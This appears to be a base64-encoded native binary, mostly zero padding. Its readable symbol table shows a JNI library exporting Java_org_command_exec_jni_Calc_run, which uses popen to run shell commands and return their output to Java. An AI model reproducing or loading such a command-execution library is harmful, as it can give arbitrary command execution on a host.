AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAEgAAACkAAAAFwAAAAEAAAAAAAAAAAAAAAMAAAAAAAAAEAAAAAAAAAAYAAAAABAGAABAAAAAAAAAAAAAAAEAAAACAgAA/SIAAP1gAAABugAAAfwAAP0+AQAB/AEAAZQCAP0eAwD9ugMAARQEAAE2BAD9cgQAAYAEAAG0BAAB2gQAAfQEAAIgBQACRAUAAmoFAAJ4BQACiAUAApgFAABfX1Vud2luZF9SZXN1bWUAX19aTjdKTklFbnZfMTJOZXdTdHJpbmdVVEZFUEtjAF9fWk43Sk5JRW52XzE3R2V0U3RyaW5nVVRGQ2hhcnNFUDhfanN0cmluZ1BoAF9fWk5TdDIwYmFkX2FycmF5X25ld19sZW5ndGhDMUV2AF9fWk5TdDIwYmFkX2FycmF5X25ld19sZW5ndGhEMUV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxMF9fYWxpZ25faXRCNnYxNTAwNklMbTE2RUVFbW0AX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTZhcHBlbmRFUEtjAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVEMUV2AF9fWk5TdDNfXzExNmFsbG9jYXRvcl90cmFpdHNJTlNfOWFsbG9jYXRvckljRUVFOG1heF9zaXplQjZ2MTUwMDZJUzJfdkVFbVJLUzJfAF9fWk5TdDNfXzEzMF9fbGliY3BwX2lzX2NvbnN0YW50X2V2YWx1YXRlZEV2AF9fWlN0OXRlcm1pbmF0ZXYAX19aVElTdDIwYmFkX2FycmF5X25ld19sZW5ndGgAX19abndtAF9fX2N4YV9hbGxvY2F0ZV9leGNlcHRpb24AX19fY3hhX2JlZ2luX2NhdGNoAF9fX2N4YV90aHJvdwBfX19neHhfcGVyc29uYWxpdHlfdjAAX19fc3RhY2tfY2hrX2ZhaWwAX19fc3RhY2tfY2hrX2d1YXJkAF9mZ2V0cwBfbWVtc2V0AF9wY2xvc2UAX3BvcGVuAAAAAV8ACgMAsGoAAAJKYXZhX29yZ19jb21tYW5kX2V4ZWNfam5pX0NhbGNfcnVuAAVfWk4AdQMEkG8AAAIyTmV3U3RyaW5nVVRGRVBLYwA1N0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABwAwSAbgAAAjdKTklFbnZfMQA6U3QzX18xALICAwTgdwAAAjJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTBfX2FsaWduX2l0QjZ2MTUwMDZJTG0xNkVFRW1tAIsBNmFsbG9jYXRvcl90cmFpdHNJTlNfOWFsbG9jYXRvckljRUVFOG1heF9zaXplQjZ2MTUwMDZJUzJfdkVFbVJLUzJfAK0CAwSAeQAAAjEAkAEzMF9fbGliY3BwX2lzX2NvbnN0YW50X2V2YWx1YXRlZEV2AN0CAwTgcwAAAAAAAACwatADQCAwMCAQQDAQkAEwECAgEFAQkAEwIBAwcDAgECCAASBAICAgIBAwEFBgIDAgEAAAAAAAAPgCAAAeAYAAQDcAAAAAAABFAwAAHgGAAGA3AAAAAAAAlAMAAB4B